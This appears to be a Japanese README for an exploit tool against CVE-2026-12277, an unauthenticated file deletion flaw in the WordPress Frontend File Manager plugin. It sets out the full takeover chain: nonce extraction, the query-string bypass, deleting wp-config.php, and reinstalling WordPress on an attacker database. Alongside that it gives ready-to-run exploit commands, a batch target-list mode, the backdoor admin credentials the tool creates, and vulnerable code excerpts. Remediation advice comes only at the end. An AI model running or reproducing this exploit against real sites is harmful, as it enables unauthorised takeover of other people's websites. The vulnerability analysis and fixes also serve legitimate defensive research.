
Frontend File Manager Plugin (WordPress) <= 23.6 - 未認証の任意ファイル削除によるRCE
Frontend File Manager プラグイン (WordPress) <= 23.6 - 非認証の任意ファイル削除によるRCE
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-12277 |
| プラグイン | Frontend File Manager Plugin (nmedia-user-file-uploader) |
| 影響を受けるバージョン | <= 23.6 |
| タイプ | 非認証の任意ファイル削除 |
| CVSS | 8.7 (HIGH) |
| CWE | CWE-73 (外部からのファイル名またはパスの制御) |
| 前提条件 | ゲストアップロードモードが有効 |
| パッチ | なし (2026年7月現在) |
| 研究者 | Chamseddine Bouzaiene |
このプラグインは、アップロードされたファイルのパスを投稿メタデータ (wpfm_dir_path) に保存します。wpfm_file_meta_update AJAX エンドポイントは:
files.php の 769-771 行)nopriv として登録されている (認証なしでアクセス可能)unset($_REQUEST['wpfm_dir_path']) による防御は、PHP の request_order の癖 (クエリ文字列経由で送信) によってバイパス可能wpfm_delete_file が呼び出されると、投稿メタから wpfm_dir_path を読み取り、パスの検証なしで unlink() を呼び出します。
| AJAX アクション | Nonce 必須 | 認証必須 | nopriv |
|---|---|---|---|
wpfm_file_meta_update | いいえ (コメントアウト済み) | いいえ | はい (常に) |
wpfm_delete_file | はい | いいえ | はい (常に) |
wpfm_upload_file | はい | いいえ | はい (ゲストアップロードがオンの場合) |
1. Detect plugin + guest upload enabled
2. Auto-extract AJAX nonce from frontend page (hidden input field)
3. Upload file as guest OR bruteforce existing post ID
4. Overwrite wpfm_dir_path via query string bypass → point to wp-config.php
5. Trigger wpfm_delete_file → unlink(wp-config.php)
6. WordPress enters setup mode (setup-config.php)
7. Complete setup with attacker-controlled database
8. Login as admin → full takeover
| ファイル | 説明 |
|---|---|
exploit.py | Python フルエクスプロイト (検出→利用→乗っ取り) |
poc_curl.sh | Bash/curl の PoC (Linux) |
poc_curl.ps1 | PowerShell/curl の PoC (Windows) |
lists.txt | 対象 URL リスト (1行1URL、バッチモード用) |
requirements.txt | Python 依存関係 |
# Install dependencies
pip install -r requirements.txt
# Full auto exploit (nonce auto-detected)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root
# Detection only
python exploit.py -u http://target.com --detect-only
# With manual nonce (if auto-detect fails)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4
# With Burp proxy
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080
# Custom attacker DB config
python exploit.py -u http://target.com \
-p /var/www/html/wp-config.php \
--dbname pwned_db \
--dbuser root \
--dbpass secret \
--dbhost localhost
エクスプロイト成功後、WordPress管理画面にログイン:
URL: http://target.com/wp-login.php Username: shac1x Password: Sh4c1x_Pwn3d!
bash poc_curl.sh http://target.com
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"
| 引数 | 必須 | 説明 |
|---|---|---|
-u, --url | はい | 対象の WordPress URL |
-p, --path | いいえ | サーバー上の wp-config.php への絶対パス |
--nonce | いいえ | AJAX nonce (自動抽出をスキップ) |
--dbname | いいえ | 攻撃者のデータベース名 (デフォルト: wp_pwned) |
--dbuser | いいえ | 攻撃者のデータベースユーザー (デフォルト: root) |
--dbpass | いいえ | 攻撃者のデータベースパスワード |
--dbhost | いいえ | 攻撃者のデータベースホスト (デフォルト: localhost) |
--proxy | いいえ | HTTP プロキシ (例: http://127.0.0.1:8080) |
--timeout | いいえ | リクエストタイムアウト (秒) (デフォルト: 15) |
--detect-only | いいえ | 脆弱性を検出するのみ、エクスプロイトはしない |
エクスプロイトは、以下の場所で wpfm_ajax_nonce を自動的に検索します:
/file-manager/、/upload/、/files/、/file-upload/ など/file-manager.php/wp-json/)Nonce は隠し入力フィールドとして現れます:
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />
または、ローカライズされた JavaScript 内:
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};
コードは unset($_REQUEST['wpfm_dir_path']) を行い、直接の上書きを防ぎます。バイパス方法:
クエリ文字列インジェクション: 他のデータは POST ボディで送信し、wpfm_dir_path を URL クエリパラメータとして送信します。PHP の $_REQUEST マージ動作により、request_order の設定によって値が保持されることがあります。
アップロードフロー中に事前設定: wpfm_dir_path メタは最初のファイルアップロードフック時に設定されます。その段階で悪用すれば、バイパスは不要です。
| コンポーネント | バージョン |
|---|---|
| WordPress | 6.9.4 |
| PHP | 8.2.12 |
| プラグイン | Frontend File Manager 23.6 |
| OS | Windows (XAMPP) / Linux |
| 結果 | 完全な乗っ取りを確認 |
inc/files.php:769-771)/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/
inc/files.php:787-795)$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}
inc/files.php:690-693)$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// ゲストアップロードがオンの場合 → !$allow_guest = false → チェック全体がスキップされる
inc/file.class.php:729-753)function delete_file_locally() {
$file_path = $this->path; // wpfm_dir_path メタから取得 - 検証なし
if (file_exists($file_path)) {
unlink($file_path); // 任意ファイル削除
}
}
inc/file.class.php:172-184)function path() {
$file_dir_path = null;
if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
$file_dir_path = $this->legacy->path(); // フォールバック: upload_dir + wpfm_file_name
}
if( ! is_file($file_dir_path) ) {
$file_dir_path = null;
}
return $file_dir_path; // 正規化なし、realpath チェックなし
}
wpfm_file_meta_update で nonce 検証のコメントアウトを解除するrealpath() とプレフィックスチェックを使用して、wpfm_dir_path がアップロードディレクトリ内にあることを検証するこのツールは、許可されたセキュリティテストおよび教育目的のみで提供されています。コンピュータシステムへの無許可アクセスは違法です。テストを行う前に必ず書面による許可を得てください。